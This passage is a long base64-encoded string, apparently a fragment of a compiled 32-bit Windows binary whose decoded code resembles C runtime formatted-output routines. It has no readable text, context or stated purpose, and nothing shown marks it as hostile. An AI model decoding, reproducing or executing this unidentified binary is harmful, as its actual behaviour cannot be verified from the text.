/wvBdE2F23QVhfZ5BIgP6w2LhZj7//87w3RNiAwHjY3k+///6A8JAACAvYj7//8AdA2LjXz7//+DoVADAAD9X4vGXotN/DPNW+jt6///i+Vdw4XbdQWDzv/rw4uFmPv//zvDdbZq/l6ITB//67CL/1WL7IHshAQAAKEYAAYQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6GzSAADHABYAAADoKs8AAIPI/+kXAQAAhdt0BIXAdOBWV/91HI2NfPv//+jvBwAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+hCBwAAjY2k+///6BsNAACL8IX/dFGLRQiD4AGDyAB0HIXbdQSF9nV2i4WY+///O8N1LoX2eDA783Ys62KLhYz7//+DyAB0U4XbdBuF9nkHM8BmiQfrEIuFmPv//zvDdFAzyWaJDEeNjeT7///ojQcAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81b6Gvq//+L5V3Dhdt1BYPO/+vDi4WY+///O8N1s2r+XjPAZolEX/7rrYv/VYvsgeyEBAAAoRgABhAzxYlF/IN9GACLRRBTi10UiYWg+///dRjo59AAAMcAFgAAAOilzQAAg8j/6RcBAACF23QEhcB04FZX/3UcjY18+///6GoGAACLTQiNvZD7//8zwDPSq6urq4vBi72g+///g+ACiYWM+///C8KJvZD7//+JnZT7//+JlZj7//91CoiVnPv//4X/dQfGhZz7//8B/3UgjYWQ+///iYWg+///jYWA+///UP91GI2FoPv///91DFFQjY2k+///6L0FAACNjaT7///oxgwAAIvwhf90UYtFCIPgAYPIAHQchdt1BIX2dXaLhZj7//87w3UuhfZ4MDvzdizrYouFjPv//4PIAHRThdt0G4X2eQczwGaJB+sQi4WY+///O8N0UDPJZokMR42N5Pv//+gIBgAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvo5uj//4vlXcOF23UFg87/68OLhZj7//87w3Wzav5eM8BmiURf/uuti/9Vi+yDfRgAdRXo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